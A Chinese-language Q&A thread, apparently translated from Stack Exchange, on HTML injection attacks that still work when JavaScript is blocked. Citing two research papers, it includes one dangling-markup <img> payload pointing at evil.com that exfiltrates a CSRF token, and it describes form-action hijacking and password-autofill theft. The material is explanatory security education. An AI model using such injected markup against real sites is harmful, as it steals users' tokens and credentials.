如果我阻止 Javascript 被执行。那么 XSS 可能发生的方式是什么,在内网应用中可能的威胁是什么。
如果javascript被阻止,会话被劫持
假设一个应用程序正确使用了内容安全策略,攻击者可以注入 HTML,但无法让 JavaScript 执行。关于这种攻击场景的一篇好论文是Post-xss 世界的 Postcards,其中描述的攻击之一是使用“悬空标记注入”。在此攻击中,目标是使用部分<img>标记读取页面上的 CSRF 令牌,例如:
<img src='http://evil.com/log.cgi? ← Injected line with a non-terminated parameter
...
<input type="hidden" name="xsrf_token" value="12345">
...
'← Normally-occurring apostrophe in page text
...
</div>
如果您非常严格地采用 OWASP 对 XSS 的定义,我会说不,这是不可能的:
跨站点脚本 (XSS) 攻击是一种注入,其中注入恶意脚本...
除非您使用其他类型的客户端脚本。
也就是说,您仍然可能容易受到与 XSS 密切相关的HTML 注入的攻击。通过这种类型的攻击,某人可能会制造攻击,例如注入请求凭据并提交到恶意服务器的表单。
许多攻击场景仍然存在。没有 Javascript 的 HTML 注入攻击的权威资源是:
无脚本攻击 - 不碰门槛就偷馅饼。马里奥·海德里希、马库斯·尼米茨、菲利克斯·舒斯特、托尔斯滕·霍尔茨、约尔格·施文克。CCS 2012。
来自后 XSS 世界的明信片。米哈尔·扎莱夫斯基。2011 年 12 月。
这两篇论文提到了许多可能的攻击,包括:
密码盗窃:如果用户使用浏览器的密码管理器,可能会注入 HTML,使浏览器自动将用户密码填充到文本框中。攻击还可能触发表单提交给攻击者(向攻击者泄露用户密码),或者进行设置,以便用户一旦执行任何操作,表单就会提交给攻击者。
数据泄露:注入一个改变表单发布位置的标签。这允许攻击者窃取用户在页面中输入的任何秘密信息。攻击者还有其他方法可以了解页面上显示的内容,包括 CSRF 令牌、机密信息和其他非公开信息。
破坏您的页面:攻击者可能能够更改您网页上显示的内容。
网络钓鱼:通过注入恶意标签,攻击者可能能够对您的用户进行网络钓鱼或窃取身份验证凭据(考虑添加一个登录表单,询问用户的用户名和密码,但表单操作会提交到攻击者的站点)。
CSRF 攻击:如果您没有 CSRF 防御,或者如果您使用
RefererorOrigin标头进行 CSRF 防御,攻击者可以在您的站点上注入用于安装 CSRF 攻击的标记。想想一个内联图像或一个表单元素,它会自动在受害者的网站上加载一个 URL,或者欺骗用户这样做。Clickjacking/strokejacking 攻击:其中一些攻击不需要 Javascript,只需将恶意 HTML 标记注入页面即可安装。
Evil CSS:注入一个引用 CSS 的样式标签,然后利用 CSS 可以包含 Javascript(在某些浏览器上)这一事实。
Evil SVG:注入 SVG 图像。SVG 图像可以包含 Javascript。
恶意字体文件:注入一个导致恶意字体加载的标签,然后可以触发恶意行为。
更改页面的呈现方式,要么是为了欺骗用户(滥用用户对网站的信任),要么是出于其他目的。这也可能允许网络钓鱼,例如,通过显示带有指向攻击者站点的提交操作的登录页面;如果用户在该登录页面中输入他们的密码,攻击者就会知道他们的密码。
通过干扰其正确执行(例如,通过命名空间污染或其他方法)对受信任的 Javascript 进行攻击。
上面引用的论文中描述了这些攻击以及更多攻击。
有关网络安全的信息,我推荐以下书籍:
- 纠结的 Web:保护现代 Web 应用程序的指南。迈克尔·扎莱夫斯基。
将来,当您对 Web 安全的晦涩方面有疑问时,我建议您首先查看该资源。它充满了伟大的掘金和明智的建议。
对于这个特定问题,另请参阅https://security.stackexchange.com/a/1491/971。
即使客户端浏览器不允许脚本运行。攻击者仍然可以通过注入 HTML 标签来修改 DOM。一些可能的例子...
- 注入锚标签并欺骗用户点击恶意链接。
- 注入一个有效的 HTML 表单和提交按钮,并欺骗用户在应用程序的上下文中执行一个有效的操作。
- 注入包含恶意页面的 iframe,该页面可能会要求用户输入一些关键信息。
- 如果应用程序具有持久性 xss;上述所有要点将仍然有效。网站污损仍然是可能的。
请注意,窃取会话 cookie 并不是与 xss 攻击相关的唯一风险。在 iframe 中加载的虚假登录表单也会造成很大的损害